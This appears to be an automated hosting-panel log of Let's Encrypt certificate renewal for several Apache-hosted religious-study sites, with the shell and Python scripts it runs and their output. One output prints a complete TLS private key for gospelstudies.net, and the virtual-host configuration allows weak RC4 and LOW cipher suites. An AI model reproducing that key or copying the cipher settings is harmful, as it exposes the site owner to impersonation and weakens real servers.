9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-25 06:00:20:
chmod 755 /tmp/pkp446453; /tmp/pkp446453; rm /tmp/pkp446453
2025-12-25 06:00:20:
dir=/etc/ssl/certs
2025-12-25 06:00:20:
PUT: /tmp/pkp572602
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-25 06:00:20:
chmod 755 /tmp/pkp572602; /tmp/pkp572602; rm /tmp/pkp572602
2025-12-25 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-25 06:00:21:
PUT: /tmp/pkp846509
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi
2025-12-25 06:00:21:
chmod 755 /tmp/pkp846509; /tmp/pkp846509; rm /tmp/pkp846509
2025-12-25 06:00:21:
2025-12-25 06:00:21:
PUT: /tmp/pkp970824
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-25 06:00:21:
chmod 755 /tmp/pkp970824; /tmp/pkp970824; rm /tmp/pkp970824
2025-12-25 06:00:21:
.
2025-12-25 06:00:21: Establishing a connection
2025-12-25 06:00:22:
PUT: /tmp/pkp892270
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-25 06:00:22:
chmod 755 /tmp/pkp892270; /tmp/pkp892270; rm /tmp/pkp892270
2025-12-25 06:00:22:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-25 06:00:22:
PUT: /tmp/pkp812264
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-25 06:00:22:
chmod 755 /tmp/pkp812264; /tmp/pkp812264; rm /tmp/pkp812264
2025-12-25 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 1432
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-25 06:00:22:
PUT: /tmp/pkp667258
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-25 06:00:22:
chmod 755 /tmp/pkp667258; /tmp/pkp667258; rm /tmp/pkp667258
2025-12-25 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt 5393
91:93:43:fe:81:8d:d5:a9:1c:c9:9e:d0:57:e3:aa:fb
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBsHUVhNn8SHXEST22eMKA0f9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI1MDUwMTQ5WhcNMjYwMzI1MDUwMTQ4WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKepbjvJ3bj4PT4nwfkhm7ByKAKreaNvJGbEN1eb8dAMhdJTmT820EgYY3Nx
4RlQyozbxd9vYTbQZQHE3LMKcST55O8116L1Ir/1pjqh2RVGSlF4GqvtAOJJlf1Z
2fijFdtVWrkVwpWgvAmeMmkOtfn3mTcYMzcgiFBrQH3yNkyWeU8k8PZS8rY3DacP
QCrXykMfseLRBGqiVHYFBFhCG7TwhtkEnsliyoOm/NfJz6+GTb5qlMhjBoo3wh9t
z8VqOIsa48bl83JjWL8Tih03NG2irACDjw4ClVcKSz/Wj99MkvETIcvXn3Aj68I+
heGxnuDnGZLDSYF3UOeDSGoS8JkCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUZ9DklUu68+6n+PCf3ESLqEuvwXAwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwpp
BYWwyxTDFFjnAAABm1QYCJoAAAQDAEcwRQIhALR/ZACsGnU+WPuWEk7ajMnwfHR7
r3xTMweALqAPDMRiAiBpqqXvXBC8RJ4jyyE2vZz7qFK9BlWu4HaJO5MJTev6/gB2
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABm1QYCJgAAAQDAEcw
RQIhANh0UOo6ilhsSThPRgnjRFBgXtNUEl2mwbN51rQLjGZaAiBUhWIHePJnP6Xq
4TRc7OpBhH75TKUivRAnEBUmTSL63jANBgkqhkiG9w0BAQsFAAOCAQEAGEEqWXi4
stjcKIjyxx89grs8h/qS4uz1UIziq/LKQiqSW1BZhyZOyDA0kmJ8jC3MJtexGYeu
2B1XuqEgr+1a0HW+5HWbzhfsw9l3x+9qFmqslZdd9bHdgE6KWZ6U5veHoezY1pSi
YxwPPJHJfTzQYwVDg1Y1xEifPuVTXMcP1k5kV/JPoL1wF7CmboZbJT3IixsBte+s
qAWe8SFqYmm81NimBGOyUGQ2K4jf9/QBFMdY7A0WYxyTQcGTmwZDqRiqy26KxFR4
A4/vlcUEL6QnuQ7IgY11kueTfOup9qxNAjITwst8+AoqXAt+jqeUrgCLKrX32ow9
VaIOO3vrIczfoQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCnqW47yd24+D0+
J8H5IZuwcigCq3mjbyRmxDdXm/HQDIXSU5k/NtBIGGNzceEZUMqM28Xfb2E20GUB
xNyzCnEk+eTvNdei9SK/9aY6odkVRkpReBqr7QDiSZX9Wdn4oxXbVVq5FcKVoLwJ
njJpDrX595k3GDM3IIhQa0B98jZMlnlPJPD2UvK2Nw2nD0Aq18pDH7Hi0QRqolR2
BQRYQhu08IbZBJ7JYsqDpvzXyc+vhk2+apTIYwaKN8Ifbc/FajiLGuPG5fNyY1i/
E4odNzRtoqwAg48OApVXCks/1o/fTJLxEyHL159wI+vCPoXhsZ7g5xmSw0mBd1Dn
g0hqEvCZAgMBAAECggEBAJmHqF7tmrDf+MzrAVBOe1AXKRZQyeFkTDQi5/682bFH
Vl/kl8dwPUhXtPIpTRSui9xy//578syMBoKZL/Rv0m4mu4JljqI10e1wWBkGzlAR
/sodrmbTb+THt6a5WcW6KbCgt6QXDgmQl8BC8iyMAQ32soHmEjgf/VOO8w6h9yEn
iYRKvFccBN27XC4sOFSLMQAboIGKr/pNPZqiMmYrW+UBIQ0+v1oxPt8XbcZI59bF
87FnvzFRjtphrsucm6U49m7IsEfI49AD8tm3Lb31m5KuUtliMQ7NK34BTjaZfUEy
xzNlUMmIbRH/eg75aVsZymN1WMP210/6kOY6CTb1VYECgYEA3YY7ZtZGuUQMcWnG
i/upJdGWbmf+nNq0baZ9mLTvg1Q1wIsZYqytl+YLIOjUa1CsZHQ1EyW98ZHRHy1s
m+rx4jIJlz7OHUMJG5mA53Tt1DiWpohIpBDaw8ECKgs8zJb3IKtZrQQAgSp3X0AI
Xi5Vd1zNheVabyeIouzXb5d7BjECgYEAwcFCKXOKIuyFD72Zn3H9co8CgZRpSBkg
oD42irZclu86A1DQ8UdKR+eQDm65Ijf/7gtutjKRWzxi05G70+NBQVcYpgd1e/Xt
l0mgcQ8aMcX8CiVqM6j8uZPlPlhck1zPJ6NgaYuZPKAYzfxhYfkF7/ZSEBhPjk+Z
6mILFQD1rukCgYAE5dfgYTJ1HC0OQOFz7N+Dh4vE6yW1ABznI7w5KR72j2EU3b50
8Q5xglOSqbMwoDr/iZY20ynM8oVmJBH3rI0mjCasImZaPUYxRwaTl4E+pPWnvvGk
Nv8vPtA2b8MrXtcd8MvtyF3efTrgb0EAHBQlrHaa1ERYms4plAT7YaUFsQKBgQCA
gzvsHIuaIIEdcKfNnyD5dCu4YQT34lrGjp1EojKFlkVHX7pG3v9A9DGTsRMwxC4H
6SNUy/OnrUTribUolIp62VcrALWHNBaUCyzU8KxyKRzEag6oF0URniwmjxtQTvXE
F9RiDUrlcFcjgWviPPcYM6w4qrdR8DBpywAIvWs3yQKBgQDcydBTxKsNHy0s1gwZ
pYrn/keJfkgNjX841yMl+nLlfMC0j7iefLT4WRGGQ2pE/G+ljNfTOD+xdyUYY5ib
eh8HqZGwbizyTjCRmsZSRMqRvskkBr7mDlnm600YEVrNwKxAd14noBGXkI/tc08Z
eASAGx3wq20pe2Qup+qd1wVEBg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-25 06:00:22: Establishing a connection
2025-12-25 06:00:22: Establishing a connection
2025-12-25 06:00:22:
PUT: /tmp/pkp611225
#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-25 06:00:22:
chmod 755 /tmp/pkp611225; /tmp/pkp611225; rm /tmp/pkp611225
2025-12-25 06:00:22:
1
2025-12-25 06:00:23: Establishing a connection
2025-12-25 06:00:23:
PUT: /tmp/pkp174171
#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA
cat > I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg
2025-12-25 06:00:23:
chmod 755 /tmp/pkp174171; /tmp/pkp174171; rm /tmp/pkp174171
2025-12-25 06:00:23:
2025-12-25 06:00:32: Establishing a connection
2025-12-25 06:00:32:
PUT: /tmp/pkp927181
#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm 3QGomDlruLJ5BZFtO6Mp6XzKc3jR1_89-vXFNlCxUGA
rm I7qmFeOfAefxEJXrU0lGbmna2iDe_zZ9ZQRAN2j72Cg
2025-12-25 06:00:32:
chmod 755 /tmp/pkp927181; /tmp/pkp927181; rm /tmp/pkp927181
2025-12-25 06:00:32:
2025-12-25 06:00:32: Establishing a connection
2025-12-25 06:00:32:
PUT: /tmp/pkp163400
#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt
cat > $temp_file <<'endmsg'
29:f6:96:72:9a:be:a2:48:bf:97:9c:af:7c:1f:f2:4b
-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBjt16nPEFjDLrvAMGYc3IpYsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI1MDUwMjAxWhcNMjYwMzI1MDUwMjAwWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqTGvyXcvayfwSZDoskhrW6NqbXP0pip4f3UWclK6k7QL65vkbOsj7ngG
YpT73MMFYfOr1s8rzAZSJ1Ev5zjBFkDq53vwqn45rhNNylfNFlC8zdvLDJaDf5nH
rAx9VydLz8eWtU/x60jqOS8HO5EnxFBgSiZGgWBMWIGlLiFJvdF4347sfTaTEeIY
tM3OFP9Stb7e4w9eWA5HyRE7h2Ai1J+SHE/1D5lGlq9UtKv0XnFkaQp6axBY6EvA
CaR7OLpSt+WhFVYzUpIhx2FiYL1tIxFzqRhQrBEry3V4hfp0grphun1Q1SadZJT3
9NKNqY8x8HY+Gvo7HLssTAtoTnQ80QIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSqHSAvJOVbdqnieK5oJD89tcxt6jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDUu
Y3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGbVBg2JgAABAMASDBGAiEA8FGnL75KBnGQPPY0sh6Q
2GdCRzrD3MvzKzrLFAzRPNkCIQC943ezVhn3OmSfOuBjD8Takl1RPg2HPJnH0RuC
GG0zLAB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm1QYNhUA
AAQDAEcwRQIgOyxLYeiAYalT0co4Lmkh2euoBanbNm8kGLNO+w5y9BwCIQDG+ERA
AIegQasW1BnYSvF7iUmc/pRP0q2CNuzuSp8yxTANBgkqhkiG9w0BAQsFAAOCAQEA
kQ+io4FdYTUUBFkNFXzXAfyQUbyijkIxT4kBKuRInqQTBkU1GO2Uw+4SrTu7xaiJ
e1i+eWhiWqNaMgSxX05kI4lOuq5vO+eIID0DT1cbopLGThDLsl80mW6JC8oBWLGO
hEOOBNPJfPGws56ioUPyTXVrdBHZXuqQ3dtOtrrY90SVdYxqAeqfD96CDjXvDOyB
3BCgE0hvSgFwld/AygqPt9rJvIbx2+0PnYoJAouI82n5abveAe6MPD8MvQwEM4C6
DInx+GvGE1IMzpb8ld3ry4v7RMTDypRsaDSt1wkIFiajr9uF/x7slrcMzkKgPW+v
Xfqkx4NYjxhEPlIfXJYCgA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
